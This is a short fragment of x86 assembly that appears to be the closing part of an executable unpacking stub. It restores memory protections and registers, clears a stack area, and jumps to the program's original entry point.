push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1012237
sub esp, 0xffffff80
jmp 0x10059c3